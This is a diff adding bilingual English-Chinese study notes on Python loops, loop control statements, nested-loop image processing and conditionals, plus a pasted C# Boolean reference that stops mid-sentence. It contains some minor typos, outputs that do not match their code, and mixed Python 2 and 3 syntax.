+![iteration_vs_hardcoding](https://i.imgur.com/JbM8sGI.png) + + +1. type of sequence iteration: `iteration by item` + +```py + for letter in 'Python': + print('current letter', letter) + # result + 当前字母 : P + 当前字母 : y + ... +``` + +2. perform `list traversal` using iteration by item + +```py + for fruit in ['banana', 'BigBlueberry', 'mango']: + print('current fruit', fruit) + #结果: + 当前水果 : banana + 当前水果 : apple + 当前水果 : mango +``` + +3. Use the `range` Function to Generate a Sequence to Iterate + +```py + for _ in range(3): + print("This line will execute three times") + + s = "python" + for idx in range(len(s)): + print(s[idx % 2]) + # result + p + y + p + y + p + y +``` + +4. 通过 `序列` 索引迭代 + +```py + fruits = ['banana', 'BigBlueberry', 'mango'] + for index in range(len(fruits)): + print('current fruit', fruits[index]) +``` + +5. The `Accumulator` Pattern, accumulating a value as we go. + +The anatomy of the accumulation pattern includes: + - `initializing` an “accumulator” variable to an initial value (such as 0 if accumulating a sum) + - `iterating` (e.g., traversing the items in a sequence) + - `updating` the accumulator variable on each iteration (i.e., when processing each item in the sequence) + +```py +accum = 0 +for w in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]: + accum = accum + w +``` + +This pattern of iterating the updating of a variable: `accumulator pattern`. +the variable `accum`: the `accumulator` 积聚者. + + +### `for i in X: for j in Y:` + +```py +for i in range(5): + for j in range(3): + print(i, j) +``` + +The `for i` iteration is the `outer iteration` + +the `for j` iteration is the `inner iteration`. + +Each pass through the outer iteration will result in the complete processing of the inner iteration from beginning to end. +- for each value of i, all values of j will occur. + +### `for...else` 语句 +for 中的语句和普通的没有区别,else 中的语句会在循环正常执行完(即 for 不是通过 break 跳出而中断的)的情况下执行 + +```py +for num in range(10,20): # 迭代 10 到 20 之间的数字 + for i in range(2,num): # 根据因子迭代 + if num%i == 0: # 确定第一个因子 + j=num/i # 计算第二个因子 + print '%d 等于 %d * %d' % (num,i,j) + break # 跳出当前循环 + else: # 循环的 else 部分 + print num, '是一个质数' +#结果: +10 等于 2 * 5 +11 是一个质数 +12 等于 2 * 6 +13 是一个质数 +14 等于 2 * 7 +15 等于 3 * 5 +16 等于 2 * 8 +17 是一个质数 +18 等于 2 * 9 +19 是一个质数 +``` + +--- + +## 14.6. 👩‍💻 Infinite Loops +如果条件判断语句永远为 true ,循环将会无限的执行下去. +- 无限循环用 `CTRL+C` 来中断循环。 + +```py + +while True: + print("Will this stop?") + +print("We have escaped.") + + +var = 1 +while var == 1 : # 条件永远为true,循环无限执行 + num = raw_input("Enter a number :") + print "You entered: ", num +print "Good bye!" +``` + +how can you determine if your code is just talking a while or if it is stuck inside an infinite loop. +- add `print` statements to keep track of how your variables are changing as the program processes the instructions given to them. + +--- + +## 循环控制语句 +控制语句 +- `break`: 终止循环,并且跳出整个循环 +- `continue`: 终止当前循环,跳出该次循环,执行下一次循环。 +- `pass`: pass是空语句,是为了保持程序结构的完整性。 + + +### `break` 语句 + +![while_and_break](https://i.imgur.com/3ZkgMf3.png) + +- 打破了最小封闭for或while循环。 +- 用来终止循环语句,即循环条件没有False条件或者序列还没被完全递归完,也会停止执行循环语句。 +- 用在while和for循环中。 +- 如果使用嵌套循环,break语句将停止执行最深层的循环,并开始执行下一行代码 + +```py +while True: + print("this phrase will always print") + break + print("Does this phrase print?") + +print("We are done with the while loop.") +# +this phrase will always print +We are done with the while loop. +``` + +--- + +### continue 语句 + +`break` 跳出整个循环。 + +`continue` 跳出本次循环, +- *删除* 的效果, 为了 *删除满足循环条件下的某些不需要的成分* +- 跳过当前循环的剩余语句,然后继续进行下一轮循环。 +- 用在while和for循环中。 + +![while_and_continue](https://i.imgur.com/Bt69iBd.png) + + +```py + +1. + + for letter in 'Python': + if letter == 'h': + continue + print '当前字母 :', letter + # + 当前字母 : P + 当前字母 : y + 当前字母 : t + 当前字母 : o + 当前字母 : n + + +2. 只打印0-10之间的奇数: + + n = 0 + while n < 10: + n = n + 1 + if n % 2 == 0: # 如果n是偶数,执行continue语句 + continue # print()语句不会执行 + print(n) +``` + +--- + +### Python pass 语句 + +空语句,为了保持程序结构的完整性。 +- 不做任何事情 +- 一般用于占位置。 + +```py + +1. 在 Python 中有时候会看到一个 def 函数: + 该处的 pass 便是占据一个位置, + 因为如果定义一个空函数程序会报错, + 没有想好函数的内容, 用 pass 填充,使程序可以正常运行。 + + def sample(n_samples): + pass + +2. + + for letter in 'Python': + if letter == 'h': + pass + print '这是 pass 块' + print '当前字母 :', letter + #结果: + 当前字母 : P + 当前字母 : y + 当前字母 : t + 这是 pass 块 + 当前字母 : h + 当前字母 : o + 当前字母 : n + +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.for-while.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.for-while.md new file mode 100644 index 00000000000..3dfb0b63576 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.1.for-while.md @@ -0,0 +1,350 @@ + +[toc] + +### 无限循环 +可以通过设置条件表达式永远不为 false 来实现无限循环,实例如下: + +```py +var = 1 +while var == 1 : # 表达式永远为 true + num = int(input("输入一个数字 :")) + print ("你输入的数字是: ", num) # 困在这里出不去 + +print ("Good bye!") + +# 输出结果如下: +输入一个数字 :5 +你输入的数字是: 5 +输入一个数字 : + +# 你可以使用 CTRL+C 来退出当前的无限循环。 +# 无限循环在服务器上客户端的实时请求非常有用。 +``` + +--- + +### while 循环使用 else 语句 +在条件语句为 false 时执行 else 的语句块。 + +```py +# 语法格式 +while : + +else: + + +# 循环输出数字,并判断大小: +count = 0 +while count < 5: + print (count, " 小于 5") + count = count + 1 +else: + print (count, " 大于或等于 5") +# 输出结果如下: +0 小于 5 +1 小于 5 +2 小于 5 +3 小于 5 +4 小于 5 +5 大于或等于 5 +``` + +### Using a while Loop with Lists and Dictionaries + +1. Moving Items from One List to Another + +```py +unconfirmed_users = ['alice', 'brian', 'candace'] +confirmed_users = [] +# Verify each user until there are no more unconfirmed users. +# Move each verified user into the list of confirmed users. + +while unconfirmed_users: + current_user = unconfirmed_users.pop() + print(f"Verifying user: {current_user.title()}") + confirmed_users.append(current_user) + +# Display all confirmed users. +print("\nThe following users have been confirmed:") +for confirmed_user in confirmed_users: + print(confirmed_user.title()) +``` + +2. Removing All Instances of Specific Values from a List + +```py +pets = ['dog', 'cat', 'dog', 'goldfish', 'cat', 'rabbit', 'cat'] +print(pets) + +while 'cat' in pets: + pets.remove('cat') +print(pets) +``` + + +3. Filling a Dictionary with User Input + +```py +responses = {} +# Set a flag to indicate that polling is active. +polling_active = True + +while polling_active: + # Prompt for the person's name and response. + name = input("\nWhat is your name? ") + response = input("Which mountain would you like to climb someday? ") + # Store the response in the dictionary. + responses[name] = response + # Find out if anyone else is going to take the poll. + repeat = input("Would you like to let another person respond? (yes/ no) ") + if repeat == 'no': + polling_active = False + # Polling is complete. Show the results. +print("\n--- Poll Results ---") + +for name, response in responses.items(): + print(f"{name} would like to climb {response}.") +``` + + +--- + + +### 简单语句组 +如果你的while循环体中只有一条语句,你可以将该语句与while写在同一行中 + +```py +flag = 1 +while (flag): print ('欢迎访问菜鸟教程!') + +print ("Good bye!") + +# 输出结果如下: +欢迎访问菜鸟教程! +欢迎访问菜鸟教程! +欢迎访问菜鸟教程! +欢迎访问菜鸟教程! +欢迎访问菜鸟教程! +... +# 无限循环可用 CTRL+C 来中断循环。 +``` + +--- + + +### 使用 break 语句, 跳出当前循环体: + +```py +sites = ["Baidu", "Google","Runoob","Taobao"] +for site in sites: + if site == "Runoob": + print("菜鸟教程!") + break + print("循环数据 " + site) +else: + print("没有循环数据!") +print("完成循环!") +# 执行脚本 +# 在循环到 "Runoob"时会跳出循环体: +循环数据 Baidu +循环数据 Google +菜鸟教程! +完成循环! +``` + +--- + + +## break 和 continue 语句及循环中的 else 子句 + +### break 和 continue 语句 +- break 语句可以跳出 for 和 while 的循环体。如果你从 for 或 while 循环中终止,任何对应的循环 else 块将不执行。 +- continue 语句被用来告诉 Python 跳过当前循环块中的剩余语句,然后继续进行下一轮循环。 + + + +```py + +# while 中使用 break: +n = 5 +while n > 0: + n -= 1 + if n == 2: + break + print(n) +print('循环结束。') +# 结果为: +4 +3 +循环结束。 + + +# while 中使用 continue: +n = 5 +while n > 0: + n -= 1 + if n == 2: + continue + print(n) +# 结果为: +4 +3 +1 +0 +循环结束。 + + +# 实例 +for letter in 'Runoob': # 第一个实例 + if letter == 'b': + break + print ('当前字母为 :', letter) + +var = 10 # 第二个实例 +while var > 0: + print ('当期变量值为 :', var) + var = var -1 + if var == 5: + break + +print ("Good bye!") + +# 结果为: +当前字母为 : R +当前字母为 : u +当前字母为 : n +当前字母为 : o +当前字母为 : o + +当期变量值为 : 10 +当期变量值为 : 9 +当期变量值为 : 8 +当期变量值为 : 7 +当期变量值为 : 6 +Good bye! + + + + +# 循环字符串 Runoob,碰到字母 o 跳过输出: +for letter in 'Runoob': # 第一个实例 + if letter == 'o': # 字母为 o 时跳过输出 + continue + print ('当前字母 :', letter) + +var = 10 # 第二个实例 +while var > 0: + var = var -1 + if var == 5: # 变量为 5 时跳过输出 + continue + print ('当前变量值 :', var) +print ("Good bye!") + +# 输出结果为: +当前字母 : R +当前字母 : u +当前字母 : n +当前字母 : b +当前变量值 : 9 +当前变量值 : 8 +当前变量值 : 7 +当前变量值 : 6 +当前变量值 : 4 +当前变量值 : 3 +当前变量值 : 2 +当前变量值 : 1 +当前变量值 : 0 +Good bye! + +``` + +### 循环语句可以有 else 子句 +它在穷尽列表(以for循环)或条件变为 false (以while循环)导致循环终止时被执行,但循环被 break 终止时不执行。 + +```py + +# 查询质数的循环 +for n in range(2, 10): + for x in range(2, n): + if n % x == 0: + print(n, '等于', x, '*', n//x) + break + else: # 循环中没有找到元素 + print(n, ' 是质数') + + +2 in + for x in range (2,2) + if n%x ==0 + else: + print(2, ' 是质数') + +3 in + for x in range (2,3) + 2 + if 3%2 ==0 + else: + print(3, ' 是质数') + +4 in + for x in range (2,4) + 2,3 + if 4%2 ==0 + print + break + +5 in + for x in range (2,5) + 2,3,4 + if 5%2 ==0 + print + break + +# 输出结果为: +2 是质数 +3 是质数 +4 等于 2 * 2 +5 是质数 +6 等于 2 * 3 +7 是质数 +8 等于 2 * 4 +9 等于 3 * 3 + +``` + +--- + + +## pass 语句 +- Python pass是空语句,是为了保持程序结构的完整性。 +- pass 不做任何事情,一般用做占位语句,如下实例 + +```py + +#实例 +>>>while True: +... pass # 等待键盘中断 (Ctrl+C) + +# 最小的类: +>>>class MyEmptyClass: +... pass +d +# 以下实例在字母为 o 时 执行 pass 语句块: +for letter in 'Runoob': + if letter == 'o': + pass + print ('执行 pass 块') + print ('当前字母 :', letter) + +print ("Good bye!") +# 输出结果为: +当前字母 : R +当前字母 : u +当前字母 : n +执行 pass 块 +当前字母 : o +执行 pass 块 +当前字母 : o +当前字母 : b +Good bye! +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.8.Nested-Iteration-Image-Processing.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.8.Nested-Iteration-Image-Processing.md new file mode 100644 index 00000000000..517c96613a0 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.07.8.Nested-Iteration-Image-Processing.md @@ -0,0 +1,132 @@ + +# 7.8. Nested Iteration: Image Processing + +[toc] + +## Intro + +ref: +https://www.osgeo.cn/pillow/reference/ImageWin.html + +Two dimensional tables have both rows and columns. You have probably seen many tables like this if you have used a spreadsheet program. + +Another object that is organized in rows and columns is a `digital image`. +- A `digital image`: a finite collection of small, discrete picture elements called `pixels`. +- These `pixels` are organized in a two-dimensional grid 格子. +- Each `pixel` represents the smallest amount of picture information that is available. +- Sometimes these pixels appear as small “dots”. + +Each `image (grid of pixels)` has its own width and its own height. +- The width is the number of columns and the height is the number of rows. +- name the pixels in the grid by using the column number and row number. +- start counting with 0! + +![image](https://i.imgur.com/AQRfZuV.png) + +--- + +## 7.8.1. The RGB Color Model + +Each `pixel` of the image will represent a single color. +- The specific color depends on a formula that mixes various amounts of three basic colors: red, green, and blue. `RGB Color Model`. +- The amount of each color, called the `intensity of the color`, allows us to have very fine control over the resulting color. +- The minimum intensity value for a basic color is 0. + - The closer to 0, the darker the color will appear. +- The maximum intensity is 255. +- This means that there are 256^3 distinct colors using the RGB Color Model. + +![Screen Shot 2020-03-15 at 20.25.27](https://i.imgur.com/kEU3S1M.png) + +In order to manipulate an image, need to be able to access individual pixels. +- This capability is provided by a module called `image`, provided in ActiveCode. +- The image module defines two `classes`: `Image` and `Pixel`. + +Each `Pixel` object has three attributes: the `red intensity`, the `green intensity`, and the `blue intensity`. +- to ask for the intensity values. `getRed`, `getGreen`, and `getBlue`. +- to change an intensity value: `setRed`, `setGreen`, and `setBlue` methods. + +![Screen Shot 2020-03-15 at 20.28.59](https://i.imgur.com/g5OXzgW.png) + +## 7.8.2. Image Objects + +To access the pixels in a real `image`, we need to first create an `Image` object. +- Image objects can be created in two ways. + - image.`Image(filename)`: `img1=image.Image("cy.png")` + - image.`EmptyImage(filename)`: `img2=image.EmptyImage(100,200)` + +First, an `Image` object can be made from the files that store digital images. +- The `image` object has an attribute corresponding to the width, the height, and the collection of pixels in the image. + +- An `EmptyImage` has a width and a height. However, the pixel collection consists of only “White” pixels. + +- ask an `image` object to return its size using the `getWidth` and `getHeight` methods. +- get a pixel from a particular location in the image using `getPixel(col,row)` +- change the pixel at a particular location using `setPixel(col,row,p)`. + +![Screen Shot 2020-03-15 at 20.40.48](https://i.imgur.com/I0YslMO.png) + +### `negative` image + +A `negative` image simply means that each pixel will be the opposite of what it was originally. +- if the `original red component` was `50`, then the opposite, or `negative red value` would be `255-50` or `205` + +```py + +1. to see the resulting negative image. + + import image + img = image.Image("luther.jpg") + win = image.ImageWin(img.getWidth(), img.getHeight()) + img.draw(win) + img.setDelay(1,15) # setDelay(0) turns off animation + # process each pixel in the image. + for row in range(img.getHeight()): + for col in range(img.getWidth()): + # gets an individual pixel. + p = img.getPixel(col, row) + # create the negative intensity values + newred = 255 - p.getRed() + newgreen = 255 - p.getGreen() + newblue = 255 - p.getBlue() + # create a new pixel + newpixel = image.Pixel(newred, newgreen, newblue) + + img.setPixel(col, row, newpixel) + img.draw(win) + win.exitonclick() + +2. Other pixel manipulation + +For example, you can create a gray scale pixel by averaging the red, green and blue intensities and then using that value for all intensities. + +From the gray scale you can create black white by setting a threshold and selecting to either insert a white pixel for a black pixel into the empty image. + +You can also do some complex arithmetic and create interesting effects, such as Sepia Tone + + +``` + +--- + + + +## `ImageDraw` 模块 +这个 ImageDraw 模块提供简单的二维图形 Image 物体。您可以使用此模块创建新图像、对现有图像进行注释或润色,以及动态生成图形以供Web使用。 + +## `ImageWin` 模块(仅限Windows) +这个 ImageWin 模块包含在Windows上创建和显示图像的支持。 + +ImageWin可以与pythonwin和其他用户界面工具包一起使用,这些工具包提供对Windows设备上下文或窗口句柄的访问。例如,tkinter通过winfo_id方法使窗口句柄可用: + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.1.Conditionals.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.1.Conditionals.md new file mode 100644 index 00000000000..6b31db4d56e --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.1.Conditionals.md @@ -0,0 +1,32 @@ + +# conditionals + +[toc] + +## 8.1. Conditionals +- programs can be a series of `statements` which always execute sequentially or `operations` that are applied to each item in an iterable. +- Yet programs frequently need to be more subtle with their behavior. For example, a messaging app might only set a message’s title bold if it has not been read by the user. Or a video game needs to update the position of all the characters that are not asleep. This is done with something called a `selection` or a `conditional statement`. + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.2.Boolean.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.2.Boolean.md new file mode 100644 index 00000000000..e919344931c --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.2.Boolean.md @@ -0,0 +1,657 @@ +# Boolean 结构 +表示一个布尔(true 或 false)值。 + +Docs .NET .NET API 浏览器 System Boolean: https://docs.microsoft.com/zh-cn/dotnet/api/system.boolean?view=netframework-4.8 + +## Intro +The Python type for storing `true` and `false` values is called `bool`, named after the British mathematician, George Boole. George Boole created `Boolean Algebra`, which is the basis of all modern computer arithmetic. +- Boolean 实例可以有两个值之一: `true` 或 `false。` +- Boolean values are not strings! + +```py +bool(x) +``` + +A `boolean expression` is an expression that evaluates to a boolean value. +- The equality operator, `==`, compares two values and produces a boolean value related to whether the two values are equal to one another. +- The `==` operator is one of six common comparison operators; the others are: `!=`, `>`, `<`, `>=`, `<=`. + +```py +>>> print(5 == 5) +Ture +``` + +- Boolean 结构提供支持以下任务的方法: + - 将布尔值转换为字符串: ToString + - 分析字符串以将其转换为布尔值: Parse 和 TryParse + - 比较值: CompareTo 和 Equals +- 以下部分介绍了这些任务和其他使用情况详细信息: + - 设置布尔值的格式 + - 转换为布尔值 + - 分析布尔值 + - 比较布尔值 + - 使用布尔值作为二进制值 + - 用布尔值执行操作 + - 布尔值和互操作 + + +## 设置布尔值的格式 +- Boolean 的字符串表示形式为 true 值的 "True" 或 false 值为 "False"。 +- Boolean 值的字符串表示形式由只读 TrueString 和 FalseString 字段定义。 + +## 转换布尔值 + +### ToString 布尔值转换为字符串。 +- 布尔结构包括两个 ToString 重载: + - `ToString()` 无参数 + - `ToString(IFormatProvider)`: 控制格式设置的参数。 + +但是,因为此参数被忽略,所以这两个重载生成相同的字符串。 +ToString(IFormatProvider) 方法不支持区分区域性的格式设置。 + +下面的示例演示 ToString 方法的格式设置。 + +请注意,该示例使用复合格式设置功能,因此 ToString 方法将被隐式调用。 + + +using System; + +public class Example +{ + public static void Main() + { + bool raining = false; + bool busLate = true; + + Console.WriteLine("It is raining: {0}", raining); + Console.WriteLine("The bus is late: {0}", busLate); + } +} +// The example displays the following output: +// It is raining: False +// The bus is late: True +由于 Boolean 结构只能有两个值,因此可轻松添加自定义格式。 对于其他字符串文本替换为 "True" 和 "False" 的简单自定义格式设置,您可以使用您的语言支持的任何条件求值功能(如中C#的条件运算符)或 Visual Basic 中的If 运算符。 下面的示例使用此方法将 Boolean 值的格式设置为 "Yes" 和 "No",而不是 "True" 和 "False"。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + bool raining = false; + bool busLate = true; + + Console.WriteLine("It is raining: {0}", + raining ? "Yes" : "No"); + Console.WriteLine("The bus is late: {0}", + busLate ? "Yes" : "No" ); + } +} +// The example displays the following output: +// It is raining: No +// The bus is late: Yes +对于更复杂的自定义格式设置操作(包括区分区域性的格式设置),可以调用 String.Format(IFormatProvider, String, Object[]) 方法并提供 ICustomFormatter 实现。 下面的示例实现 ICustomFormatter 和 IFormatProvider 接口,为英语(美国)、法语(法国)和俄语(俄罗斯)区域性提供区分区域性的布尔字符串。 +C# + +复制 +using System; +using System.Globalization; + +public class Example +{ + public static void Main() + { + String[] cultureNames = { "", "en-US", "fr-FR", "ru-RU" }; + foreach (var cultureName in cultureNames) { + bool value = true; + CultureInfo culture = CultureInfo.CreateSpecificCulture(cultureName); + BooleanFormatter formatter = new BooleanFormatter(culture); + + String result = String.Format(formatter, "Value for '{0}': {1}", culture.Name, value); + Console.WriteLine(result); + } + } +} + +public class BooleanFormatter : ICustomFormatter, IFormatProvider +{ + private CultureInfo culture; + + public BooleanFormatter() : this(CultureInfo.CurrentCulture) + { } + + public BooleanFormatter(CultureInfo culture) + { + this.culture = culture; + } + + public Object GetFormat(Type formatType) + { + if (formatType == typeof(ICustomFormatter)) + return this; + else + return null; + } + + public String Format(String fmt, Object arg, IFormatProvider formatProvider) + { + // Exit if another format provider is used. + if (! formatProvider.Equals(this)) return null; + + // Exit if the type to be formatted is not a Boolean + if (! (arg is Boolean)) return null; + + bool value = (bool) arg; + switch (culture.Name) { + case "en-US": + return value.ToString(); + case "fr-FR": + if (value) + return "vrai"; + else + return "faux"; + case "ru-RU": + if (value) + return "верно"; + else + return "неверно"; + default: + return value.ToString(); + } + } +} +// The example displays the following output: +// Value for '': True +// Value for 'en-US': True +// Value for 'fr-FR': vrai +// Value for 'ru-RU': верно +或者,您可以使用资源文件来定义特定于区域性的布尔字符串。 + +与布尔值相互转换 +Boolean 结构实现 IConvertible 接口。 因此,你可以使用 Convert 类在 .NET 中的 Boolean 值和任何其他基元类型之间执行转换,也可以调用 Boolean 结构的显式实现。 但是,不支持在 Boolean 和以下类型之间进行转换,因此相应的转换方法将引发 InvalidCastException 异常: +Boolean 和 Char (Convert.ToBoolean(Char) 和 Convert.ToChar(Boolean) 方法)之间的转换 +Boolean 和 DateTime (Convert.ToBoolean(DateTime) 和 Convert.ToDateTime(Boolean) 方法)之间的转换 +从整数或浮点数到布尔值的所有转换都将非零值转换为 true,将零值转换为 false。 下面的示例通过调用 Convert.ToBoolean 类的选定重载阐释了这一点。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + Byte byteValue = 12; + Console.WriteLine(Convert.ToBoolean(byteValue)); + Byte byteValue2 = 0; + Console.WriteLine(Convert.ToBoolean(byteValue2)); + int intValue = -16345; + Console.WriteLine(Convert.ToBoolean(intValue)); + long longValue = 945; + Console.WriteLine(Convert.ToBoolean(longValue)); + SByte sbyteValue = -12; + Console.WriteLine(Convert.ToBoolean(sbyteValue)); + double dblValue = 0; + Console.WriteLine(Convert.ToBoolean(dblValue)); + float sngValue = .0001f; + Console.WriteLine(Convert.ToBoolean(sngValue)); + } +} +// The example displays the following output: +// True +// False +// True +// True +// True +// False +// True +将浮点值转换为布尔值时,转换方法执行与零的精确比较。 如果浮点值丢失了精度,则结果可能是意外的。 下面的示例阐释了这一点,在此示例中,其值应为零的 Double 变量将转换为布尔值。 如示例所示,结果是 true 的,因为重复增加了0.2 将导致精度损失。 +从 Boolean 转换为数值时,Convert 类的转换方法将 true 转换为1,并将 false 为0。 但 Visual Basic 转换函数将 true 转换为255(用于转换为 Byte 值)或-1 (适用于所有其他数值转换)。 下面的示例通过使用 Convert 方法将 true 转换为数值,并使用 Visual Basic 语言自身的转换运算符为 Visual Basic 示例。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + bool flag = true; + + byte byteValue; + byteValue = Convert.ToByte(flag); + Console.WriteLine("{0} -> {1}", flag, byteValue); + + sbyte sbyteValue; + sbyteValue = Convert.ToSByte(flag); + Console.WriteLine("{0} -> {1}", flag, sbyteValue); + + double dblValue; + dblValue = Convert.ToDouble(flag); + Console.WriteLine("{0} -> {1}", flag, dblValue); + + int intValue; + intValue = Convert.ToInt32(flag); + Console.WriteLine("{0} -> {1}", flag, intValue); + } +} +// The example displays the following output: +// True -> 1 +// True -> 1 +// True -> 1 +// True -> 1 +若要从 Boolean 转换为字符串值,请参阅设置布尔值格式部分。 若要从字符串转换为 Boolean 值,请参阅分析布尔值部分。 + +分析布尔值 +Boolean 结构包括两个静态分析方法,Parse 和 TryParse,将字符串转换为布尔值。 布尔值的字符串表示形式由 "TrueString" 和 "FalseString" 字段的值的不区分大小写的等效项定义,分别为 "True" 和 "False"。 换句话说,分析成功的唯一字符串为 "True"、"False"、"true"、"false" 或一些等效大小写。 无法成功分析数值字符串,如 "0" 或 "1"。 执行字符串比较时不考虑前导或尾随空白字符。 +下面的示例使用 Parse 和 TryParse 方法来分析多个字符串。 请注意,只能成功分析不区分大小写的 "True" 和 "False" 的等效项。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + string[] values = { null, String.Empty, "True", "False", + "true", "false", " true ", + "TrUe", "fAlSe", "fa lse", "0", + "1", "-1", "string" }; + // Parse strings using the Boolean.Parse method. + foreach (var value in values) { + try { + bool flag = Boolean.Parse(value); + Console.WriteLine("'{0}' --> {1}", value, flag); + } + catch (ArgumentException) { + Console.WriteLine("Cannot parse a null string."); + } + catch (FormatException) { + Console.WriteLine("Cannot parse '{0}'.", value); + } + } + Console.WriteLine(); + // Parse strings using the Boolean.TryParse method. + foreach (var value in values) { + bool flag = false; + if (Boolean.TryParse(value, out flag)) + Console.WriteLine("'{0}' --> {1}", value, flag); + else + Console.WriteLine("Unable to parse '{0}'", value); + } + } +} +// The example displays the following output: +// Cannot parse a null string. +// Cannot parse ''. +// 'True' --> True +// 'False' --> False +// 'true' --> True +// 'false' --> False +// ' true ' --> True +// 'TrUe' --> True +// 'fAlSe' --> False +// Cannot parse 'fa lse'. +// Cannot parse '0'. +// Cannot parse '1'. +// Cannot parse '-1'. +// Cannot parse 'string'. +// +// Unable to parse '' +// Unable to parse '' +// 'True' --> True +// 'False' --> False +// 'true' --> True +// 'false' --> False +// ' true ' --> True +// 'TrUe' --> True +// 'fAlSe' --> False +// Cannot parse 'fa lse'. +// Unable to parse '0' +// Unable to parse '1' +// Unable to parse '-1' +// Unable to parse 'string' +如果在 Visual Basic 中进行编程,则可以使用 CBool 函数将数字的字符串表示形式转换为布尔值。 "0" 转换为 false,任何非零值的字符串表示形式都转换为 true。 如果不是在 Visual Basic 进行编程,则必须先将数值字符串转换为数字,然后再将其转换为布尔值。 下面的示例通过将整数数组转换为布尔值来说明这一点。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + String[] values = { "09", "12.6", "0", "-13 " }; + foreach (var value in values) { + bool success, result; + int number; + success = Int32.TryParse(value, out number); + if (success) { + // The method throws no exceptions. + result = Convert.ToBoolean(number); + Console.WriteLine("Converted '{0}' to {1}", value, result); + } + else { + Console.WriteLine("Unable to convert '{0}'", value); + } + } + } +} +// The example displays the following output: +// Converted '09' to True +// Unable to convert '12.6' +// Converted '0' to False +// Converted '-13 ' to True + +比较布尔值 +由于布尔值是 true 或 false,因此很少需要显式调用 CompareTo 方法,这指示实例是大于、小于还是等于指定值。 通常,若要比较两个布尔变量,请调用 Equals 方法或使用语言的相等运算符。 +但是,当您想要将布尔变量与 true 或 false的文本布尔值进行比较时,无需进行显式比较,因为对布尔值进行求值的结果是布尔值。 例如,表达式 +C# + +复制 +if (booleanValue) { +和 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + bool[] hasServiceCharges = { true, false }; + Decimal subtotal = 120.62m; + Decimal shippingCharge = 2.50m; + Decimal serviceCharge = 5.00m; + + foreach (var hasServiceCharge in hasServiceCharges) { + Decimal total = subtotal + shippingCharge + + (hasServiceCharge ? serviceCharge : 0); + Console.WriteLine("hasServiceCharge = {1}: The total is {0:C2}.", + total, hasServiceCharge); + } + } +} +// The example displays output like the following: +// hasServiceCharge = True: The total is $128.12. +// hasServiceCharge = False: The total is $123.12. +等效,但第二个更为紧凑。 但是,这两种方法提供的性能相当。 + +使用布尔值作为二进制值 +布尔值占用1个字节的内存,如下面C#的示例所示。 必须用 /unsafe 开关编译该示例。 +C# + +复制 +using System; + +public struct BoolStruct +{ + public bool flag1; + public bool flag2; + public bool flag3; + public bool flag4; + public bool flag5; +} + +public class Example +{ + public static void Main() + { + unsafe { + BoolStruct b = new BoolStruct(); + bool* addr = (bool*) &b; + Console.WriteLine("Size of BoolStruct: {0}", sizeof(BoolStruct)); + Console.WriteLine("Field offsets:"); + Console.WriteLine(" flag1: {0}", (bool*) &b.flag1 - addr); + Console.WriteLine(" flag1: {0}", (bool*) &b.flag2 - addr); + Console.WriteLine(" flag1: {0}", (bool*) &b.flag3 - addr); + Console.WriteLine(" flag1: {0}", (bool*) &b.flag4 - addr); + Console.WriteLine(" flag1: {0}", (bool*) &b.flag5 - addr); + } + } +} +// The example displays the following output: +// Size of BoolStruct: 5 +// Field offsets: +// flag1: 0 +// flag1: 1 +// flag1: 2 +// flag1: 3 +// flag1: 4 +字节的低位位用于表示其值。 值1表示 true;值0表示 false。 + 警告 + +您可以使用 System.Collections.Specialized.BitVector32 结构来处理布尔值集。 +可以通过调用 BitConverter.GetBytes(Boolean) 方法将布尔值转换为其二进制表示形式。 方法返回包含单个元素的字节数组。 若要从布尔值的二进制表示形式还原布尔值,可以调用 BitConverter.ToBoolean(Byte[], Int32) 方法。 +下面的示例调用 BitConverter.GetBytes 方法将布尔值转换为其二进制表示形式,并显示值的各个位,然后调用 BitConverter.ToBoolean 方法从其二进制表示形式还原值。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + bool[] flags = { true, false }; + foreach (var flag in flags) { + // Get binary representation of flag. + Byte value = BitConverter.GetBytes(flag)[0]; + Console.WriteLine("Original value: {0}", flag); + Console.WriteLine("Binary value: {0} ({1})", value, + GetBinaryString(value)); + // Restore the flag from its binary representation. + bool newFlag = BitConverter.ToBoolean( new Byte[] { value }, 0); + Console.WriteLine("Restored value: {0}\n", flag); + } + } + + private static string GetBinaryString(Byte value) + { + String retVal = Convert.ToString(value, 2); + return new String('0', 8 - retVal.Length) + retVal; + } +} +// The example displays the following output: +// Original value: True +// Binary value: 1 (00000001) +// Restored value: True +// +// Original value: False +// Binary value: 0 (00000000) +// Restored value: False + +用布尔值执行操作 +本部分说明如何在应用中使用布尔值。 第一部分讨论其用作标志。 第二个示例演示了如何使用算术运算。 +布尔值作为标志 +布尔变量最常用作标志,用于指示存在还是缺少某个条件。 例如,在 String.Compare(String, String, Boolean) 方法中,final 参数 ignoreCase是一个标志,它指示两个字符串的比较是否不区分大小写(ignoreCase true)或区分大小写(ignoreCase 为 false)。 然后,可以在条件语句中计算标志的值。 +下面的示例使用一个简单的控制台应用程序,说明如何使用布尔变量作为标志。 应用接受命令行参数,这些参数可使输出重定向到指定的文件(/f 交换机),并使输出能够同时发送到指定的文件和控制台(/b 交换机)。 应用程序定义了一个名为 isRedirected 